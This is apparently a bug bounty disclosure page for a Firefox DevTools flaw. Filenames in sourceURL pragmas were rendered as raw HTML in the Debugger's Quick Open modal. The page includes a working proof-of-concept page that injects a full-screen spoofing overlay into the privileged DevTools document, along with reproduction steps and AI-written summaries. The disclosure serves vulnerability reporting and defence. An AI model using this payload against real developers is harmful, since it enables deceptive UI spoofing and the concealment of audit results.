DevTools Debugger Quick Open renders source filenames as raw HTML into the privileged chrome:// context (scripting prevented by CSP)
Firefox DevTools did not escape source file names before rendering them in the Debugger's Quick Open modal, so a page could use a sourceURL pragma containing HTML tags. An attacker could inject CSS into the privileged DevTools document, covering the window with a fake overlay or hiding search results.
Originally disclosed on Mozilla
- Fixed in 9 days
- Paid in 9 days
- Disclosed after 9 days
Created attachment 9553526
devtools-html-injection.mp4
Platform: Desktop (Windows)
Version: 150.0a1 (2026-03-16)
Firefox DevTools does not HTML-escape source file names before rendering them in the Debugger's Quick Open modal (Ctrl+P). A page under inspection can craft a `//# sourceURL=` pragma whose filename segment contains arbitrary HTML tags, which are then injected into `chrome://devtools/content/debugger/index.html` via `dangerouslySetInnerHTML` and executed in the privileged DevTools document.
As a concrete example, embedding a `<style>` tag in the filename causes the enclosed CSS to take effect inside the DevTools document. The PoC below injects a full-screen overlay that covers the entire DevTools window as soon as a developer searches for "overlay" in Quick Open.
Steps to Reproduce:
1. Serve `poc.html` below on any local HTTP server (e.g. `python3 -m http.server 8000`).
2. Open Firefox and navigate to `http://localhost:8000/poc.html`.
3. Open DevTools (F12) and select the Debugger panel.
4. Press Ctrl+P to open Quick Open.
5. Type `overlay` in the search box.
6. Observe that the entire DevTools window is covered by a full-screen overlay bearing the text "DevTools-Hijacked".
Security Impact:
A web page being actively inspected by a developer can inject arbitrary CSS into the privileged DevTools document without any user gesture beyond opening Quick Open. Concrete impacts include:
* Full-screen overlay impersonating Firefox security dialogs, enabling social-engineering attacks against developers.
* Complete concealment of Quick Open results (`display:none`) preventing a security auditor from finding any source files.
The DevTools CSP (`default-src chrome:; style-src 'unsafe-inline'`) blocks inline script execution and external network requests, so direct JavaScript execution and data exfiltration are not achievable. However, full visual control over the DevTools UI is sufficient to deceive developers and interfere with security audits.
PoC:
`poc.html`:
'''html
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<p>Open DevTools (F12) → Debugger → Ctrl+P → type "overlay".</p>
<script>
const PAYLOAD =
"<style>" +
"body::after{" +
"content:'DevTools-Hijacked';" +
"position:fixed;top:0;left:0;right:0;bottom:0;" +
"z-index:2147483647;" +
"background:rgba(30,31,40,.97);" +
"color:rgb(255,85,85);" +
"font-size:22px;line-height:2;font-family:monospace;" +
"display:flex;align-items:center;justify-content:center;" +
"text-align:center;white-space:pre" +
"}" +
"overlay.js";
const s = document.createElement("script");
s.textContent = "//# sourceURL=http://localhost:3000/poc/" + PAYLOAD;
document.body.appendChild(s);
</script>
</body>
</html>
'''
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Quick Open list inserted the source filename as raw HTML via dangerouslySetInnerHTML instead of escaping it as text.
Impact
A page under inspection could inject CSS into the privileged DevTools document to impersonate security dialogs or hide Quick Open results, but the DevTools CSP blocked inline script execution and external network requests, so JavaScript execution and data exfiltration were not achievable.
What the attacker needed
Victim opens the page in Firefox; victim opens DevTools Debugger; victim uses Quick Open search
How it was found
- Serve the proof-of-concept page on a local HTTP server.
- Open the page in Firefox.
- Open DevTools and select the Debugger panel.
- Press Ctrl+P to open Quick Open.
- Type the search term in the box.
- Observe the full-screen overlay covering the DevTools window.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Developer tools (DevTools) are built into the browser and run with special trust. A web page can set a filename for its own script, and that name was shown in a search box without being made safe. The page could therefore add styling that changes how the DevTools window looks, which could trick a developer.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.